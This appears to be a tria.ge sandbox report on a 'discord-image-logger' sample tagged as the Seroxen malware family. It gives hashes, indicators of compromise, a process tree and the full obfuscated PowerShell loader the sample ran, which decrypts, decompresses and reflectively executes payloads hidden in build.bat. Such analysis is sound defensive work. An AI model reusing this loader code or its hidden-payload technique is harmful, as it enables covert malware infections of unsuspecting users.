Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
10discord-im...ld.bat
windows7-x64
10discord-im...ld.bat
windows10-2004-x64
10discord-im...bug.py
windows7-x64
3discord-im...bug.py
windows10-2004-x64
3discord-im...ers.py
windows7-x64
3discord-im...ers.py
windows10-2004-x64
3discord-im...ken.py
windows7-x64
3discord-im...ken.py
windows10-2004-x64
3discord-im...ion.py
windows7-x64
3discord-im...ion.py
windows10-2004-x64
3discord-im...tup.py
windows7-x64
3discord-im...tup.py
windows10-2004-x64
3discord-im...nfo.py
windows7-x64
3discord-im...nfo.py
windows10-2004-x64
3discord-im...fig.py
windows7-x64
3discord-im...fig.py
windows10-2004-x64
3discord-im...ain.py
windows7-x64
3discord-im...ain.py
windows10-2004-x64
3Analysis
-
max time kernel
15s -
max time network
17s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
24/02/2025, 03:58
Behavioral task
behavioral1
Sample
discord-image-logger-release/build.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
discord-image-logger-release/build.bat
Resource
win10v2004-20250217-en
Behavioral task
behavioral3
Sample
discord-image-logger-release/src/components/antidebug.py
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
discord-image-logger-release/src/components/antidebug.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral5
Sample
discord-image-logger-release/src/components/browsers.py
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
discord-image-logger-release/src/components/browsers.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral7
Sample
discord-image-logger-release/src/components/discordtoken.py
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
discord-image-logger-release/src/components/discordtoken.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral9
Sample
discord-image-logger-release/src/components/injection.py
Resource
win7-20241010-en
Behavioral task
behavioral10
Sample
discord-image-logger-release/src/components/injection.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral11
Sample
discord-image-logger-release/src/components/startup.py
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
discord-image-logger-release/src/components/startup.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral13
Sample
discord-image-logger-release/src/components/systeminfo.py
Resource
win7-20240903-en
Behavioral task
behavioral14
Sample
discord-image-logger-release/src/components/systeminfo.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral15
Sample
discord-image-logger-release/src/config.py
Resource
win7-20241010-en
Behavioral task
behavioral16
Sample
discord-image-logger-release/src/config.py
Resource
win10v2004-20250217-en
Behavioral task
behavioral17
Sample
discord-image-logger-release/src/main.py
Resource
win7-20240903-en
Behavioral task
behavioral18
Sample
discord-image-logger-release/src/main.py
Resource
win10v2004-20250217-en
General
-
Target
discord-image-logger-release/build.bat
-
Size
14.0MB
-
MD5
ef8beb81c6fa2aaad4a314be361292ce
-
SHA1
7b7296096931ac5d62081cc91ead8afd2346e0c7
-
SHA256
6377476be087b6911f24f93a601fd8f46461f52815ec27f95371c8418c385377
-
SHA512
8ffa18e66e4e8a3a23eb7c2375fa6b25aab90da3265f35d56ea9965f8d2c89a988052bbd0e05c0b3b3c124cb5e9f47b0b6ab5ea0df3b880d449fd3ff2a25767f
-
SSDEEP
49152:Lhha5TtF7ZXKxZvLjnrt64H1eGHrWT7xdJ11ar07nqcBIL/ULWorCWmZ9vXEdQm/:E
Malware Config
Signatures
-
Seroxen family
-
Executes dropped EXE 1 IoCs
pid Process 2316 build.bat.exe -
Loads dropped DLL 1 IoCs
pid Process 2916 cmd.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe File opened for modification C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2316 build.bat.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2316 build.bat.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 2916 wrote to memory of 2516 2916 cmd.exe 31 PID 2916 wrote to memory of 2516 2916 cmd.exe 31 PID 2916 wrote to memory of 2516 2916 cmd.exe 31 PID 2516 wrote to memory of 2564 2516 net.exe 32 PID 2516 wrote to memory of 2564 2516 net.exe 32 PID 2516 wrote to memory of 2564 2516 net.exe 32 PID 2916 wrote to memory of 2316 2916 cmd.exe 34 PID 2916 wrote to memory of 2316 2916 cmd.exe 34 PID 2916 wrote to memory of 2316 2916 cmd.exe 34
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2916 -
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:2516 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:2564
-
-
-
C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat.exe"build.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function iwkhR($DITIA){ $XVnki=[System.Security.Cryptography.Aes]::Create(); $XVnki.Mode=[System.Security.Cryptography.CipherMode]::CBC; $XVnki.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $XVnki.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v8ehdS6ppW71xL6mDjAeXsyQHYKmv0CPtd6Kn4aXzt4='); $XVnki.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hx3HwApb8t08fxY/Go7cSw=='); $LrZFK=$XVnki.CreateDecryptor(); $return_var=$LrZFK.TransformFinalBlock($DITIA, 0, $DITIA.Length); $LrZFK.Dispose(); $XVnki.Dispose(); $return_var;}function kOuIB($DITIA){ $DbpkU=New-Object System.IO.MemoryStream(,$DITIA); $qZtjl=New-Object System.IO.MemoryStream; $JMgSB=New-Object System.IO.Compression.GZipStream($DbpkU, [IO.Compression.CompressionMode]::Decompress); $JMgSB.CopyTo($qZtjl); $JMgSB.Dispose(); $DbpkU.Dispose(); $qZtjl.Dispose(); $qZtjl.ToArray();}function ZkZVP($DITIA,$AoxAJ){ $HLgZK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$DITIA); $UXpIZ=$HLgZK.EntryPoint; $UXpIZ.Invoke($null, $AoxAJ);}$zVdRm=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\discord-image-logger-release\build.bat').Split([Environment]::NewLine);foreach ($BYfmw in $zVdRm) { if ($BYfmw.StartsWith(':: ')) { $Rndkm=$BYfmw.Substring(3); break; }}$FMGlq=[string[]]$Rndkm.Split('\');$IgKIL=kOuIB (iwkhR ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($FMGlq[0])));$voFjb=kOuIB (iwkhR ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($FMGlq[1])));ZkZVP $voFjb (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));ZkZVP $IgKIL (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2316
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
462KB
MD5852d67a27e454bd389fa7f02a8cbe23f
SHA15330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d